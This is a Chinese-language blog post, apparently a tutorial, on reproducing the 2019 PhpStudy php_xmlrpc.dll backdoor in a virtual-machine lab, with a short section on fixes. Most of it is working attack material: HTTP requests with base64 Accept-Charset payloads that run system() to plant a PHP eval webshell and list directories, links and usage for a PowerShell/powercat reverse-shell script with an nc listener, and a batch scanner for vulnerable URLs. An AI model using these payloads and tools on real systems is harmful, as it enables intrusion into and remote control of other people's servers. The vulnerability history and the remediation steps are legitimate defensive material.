PhpStudy BackDoor 2019漏洞

聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!

基礎介紹

事件背景

北京時間9月20日,杭州公安發佈《杭州警方通報打擊涉網違法犯罪暨‘淨網2019’專項行動戰果》一文,文章曝光了國內知名PHP調試環境程序集成包“PhpStudy軟件”遭到黑客篡改並植入“後門”。截至案發,近百萬PHP用戶中超過67萬用戶已被黑客控制,並大肆盜取賬號密碼、聊天記錄、設備碼類等敏感數據多達10萬多組,非法牟利600多萬元。

  • **漏洞:**程序包自帶的PHP的php_xmlrpc.dll模塊中有隱藏後門。
  • php.ini中必須要引用該模塊,這樣才能去復現該漏洞,若開啓了xmlrpc功能,php就會加載這個php_xmlrpc.dll動態鏈接庫文件,其中的惡意代碼就會被觸發。

xml rpc是使用http協議做爲傳輸協議的rpc機制(遠程過程調用),使用xml文本的方式傳輸命令和數據。

查看是否引用該模塊:

方法1:通過php.ini配置文件查看,位置D:\phpStudy\PHPTutorial\php\php-5.4.45\ext
在這裏插入圖片描述
方法2:通過phpinfo查看
在這裏插入圖片描述

  • 影響版本:phpstudy 2016(php5.4/5.2) phpstudy 2018(php5.4/5.2)

phpStudy20180211版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
不管是第三方下載的還是官網下載的phpstudy均存在後門,存在於php5.4.45和php5.2.17,當切換到其他版本漏洞是不存在的。
在這裏插入圖片描述

有問題的文件:

Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll

漏洞復現

攻擊者:Windows 10系統
靶機:Windows 7虛擬機

1.是兩臺機器之間能夠相互ping通;
2.在靶機中下載帶有後門的PhpStudy 2018軟件,打開PhpStudy軟件,在D:\phpStudy\PHPTutorial\php\php-5.4.45\ext目錄中使用記事本打開php_xmlrpc.dll,搜索eval關鍵詞,查看植入的後門
在這裏插入圖片描述
在這裏插入圖片描述
3.打開PhpStudy 2018,切換到有後門的版本,並啓動Apache和MySQL服務,攻擊者在瀏覽器中訪問靶機的IP,查看是否能啓動WEB服務器
在這裏插入圖片描述
在這裏插入圖片描述
4.開啓代理服務器,使用burpsuite攔截瀏覽器的請求包,將攔截下來的數據發送到到Repeater模塊(重發),使用Ctrl+R或者點擊Action --> Send to Repater
在這裏插入圖片描述
5.修改請求包,將Accept-Encding(瀏覽器可解析的編碼方式): gzip,deflate逗號後面的空格刪除,然後在deflate後面增加一個空格(沒有Accept-Encding就自己加上)
復現漏洞的過程中,會遇到一個問題,請求包放到repeater時,會加入很多的空格。

Accept-Encoding: gzip, deflate

在Accept-Encoding中,deflate的前面都有一個空格,這個空格導致重訪無法成功,去掉空格即可。
在這裏插入圖片描述
在這裏插入圖片描述
6.再添加一項:Accept-Charset(規定服務器處理表單數據所接受的字符集):,Accept-Charset後面跟要執行的命令(惡意代碼需要經過Base64轉碼),即惡意代碼,最後提交該請求包,查看響應包
在這裏插入圖片描述

實例——system(’<惡意命令>’);(別忘了最後的分號)

這個漏洞相當於是個eval()函數的代碼執行,所以如果要執行os系統命令的話還要用system(’<惡意命令>’);

先base64編碼,在BP工具中,打開Decoder(解碼和編碼)模塊:
在這裏插入圖片描述
在這裏插入圖片描述
下圖可以看到,在響應包中我們可以看到我們想要的信息,復現成功
在這裏插入圖片描述
在這裏插入圖片描述

寫一句話木馬菜刀鏈接:

執行惡意命令system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');將木馬寫入PHPTutorial\WWW\shell.php中

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
Upgrade-Insecure-Requests: 1

在這裏插入圖片描述
可能遇到的問題
若無法成功連接,可能生成目錄不對,執行命令tree /f查看文件樹,找到可訪問路徑生成shell

GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

修復方法

1.在官網中下載最新的PhpStudy
2.將PhpStudy中php5.4和php5.2裏面的php_xmlrpc.dll替換爲官方的文件
3.使用phpstudy安全自檢修復程序2.0

Exploit利用腳本

1.在GitHub中下載PHPStudy_BackDoor_Exp,鏈接爲:https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp
在這裏插入圖片描述
環境爲Python3,依賴request模塊

2.把下載好的PHPStudy_BackDoor_Exp文件夾拷貝到靶機中(這裏圖個方便直接拷到靶機上了,也就是本地打本地),並在含有PHPStudy_BackDoor_Exp的文件夾中開啓dos命令窗口

python phpstudy_backdoor.py  運行腳本

開啓腳本成功
在這裏插入圖片描述
3.根據提示,輸入目標主機(即出現漏洞的PhpStudy中web服務器地址),以及要執行的命令

  • 需要開啓PhpStudy中的Apache和MySQL服務

在這裏插入圖片描述

  • 根據上圖的提示所示,如果要執行os命令,命令必須是php函數,即使用system(’’);格式

在這裏插入圖片描述
在這裏插入圖片描述
參考:https://www.cnblogs.com/yankaohaitaiwei/p/11604762.html

反彈shell腳本

https://github.com/rabbitmask/PHPStudy_BackDoor
就目前版本來講,phpstudy是部署在Windows平臺(確實存在linux版本,發佈不久測試階段)居多,主流Windows平臺均已支持powershell(win7/server2008以上),我們反彈shell的探究藉助powershell實現。

phpstudy_backdoor_shell.py

腳本一鍵反彈shell,自動bypass,關於原理,藉助了powercat、powershell等,
所以請在powershell中執行`set-executionpolicy remotesigned`允許腳本執行。
Usage: python3 phpstudy_backdoor_shell.py [url]
#請先在腳本中配置監聽地址與端口
listen_host='192.168.1.254'
listen_port='6666'

運行demo:

python phpstudy_backdoor_shell.py 127.0.0.1

nc -lvvp [port]

批量掃描存在PHPStudy_BackDoor的URL

phpstudy_backdoor_poc.py
https://github.com/rabbitmask/PHPStudy_BackDoor

多進程批量檢測腳本,自動讀取urls.txt中內容,然後進行批量檢測
檢測結果如發現漏洞會存入phpstudy_backdoor_urls.txt中

運行demo:

python phpstudy_backdoor_poc.py

[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章